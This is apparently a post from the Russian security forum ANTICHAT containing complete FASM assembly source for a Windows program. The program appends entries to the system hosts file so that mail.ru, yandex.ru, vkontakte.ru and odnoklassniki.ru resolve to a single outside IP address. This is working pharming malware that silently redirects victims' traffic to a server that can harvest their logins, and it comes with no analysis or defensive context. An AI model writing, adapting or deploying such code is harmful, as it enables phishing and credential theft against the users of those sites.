ANTICHAT — форум по информационной безопасности, OSINT и технологиям

format PE GUI 4.0
entry start

include '..\INCLUDE\win32a.inc'

section '.text' code readable executable
start:
 invoke  GetSystemDirectory,SystemDirectory,MAX_DIR
 cinvoke wsprintf,HostsFile,FileFormat,SystemDirectory

 invoke  CreateFile,HostsFile,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
 xchg	 eax,ebx
 inc	 eax
 jz	 exit
 invoke  SetFilePointer,ebx,0,0,FILE_END
 invoke  WriteFile,ebx,HostsData,HostsDataSize,Bytes,0
 invoke  CloseHandle,ebx
exit:
 ret

section '.data' data readable writeable
MAX_DIR = 128
SystemDirectory db MAX_DIR dup(?)
FileFormat db '%s\drivers\etc\hosts',0
HostsFile db MAX_PATH dup(?)
HostsData:
 db '95.168.174.224 mail.ru',13,10
 db '95.168.174.224 www.mail.ru',13,10
 db '95.168.174.224 www.yandex.ru',13,10
 db '95.168.174.224 yandex.ru',13,10
 db '95.168.174.224 www.vkontakte.ru',13,10
 db '95.168.174.224 vkontakte.ru',13,10
 db '95.168.174.224 www.odnoklasniki.ru',13,10
 db '95.168.174.224 odnoklasniki.ru',13,10
 db '95.168.174.224 odnoklassniki.ru',13,10
 db '95.168.174.224 www.odnoklassniki.ru',13,10
HostsDataSize = $-HostsData
Bytes dd ?

data import
 library kernel32,'KERNEL32.dll',user32,'USER32.dll'
 include '..\INCLUDE\api\kernel32.inc'
 include '..\INCLUDE\api\user32.inc'
end data

section '.rsrc' readable resource from 'main.res'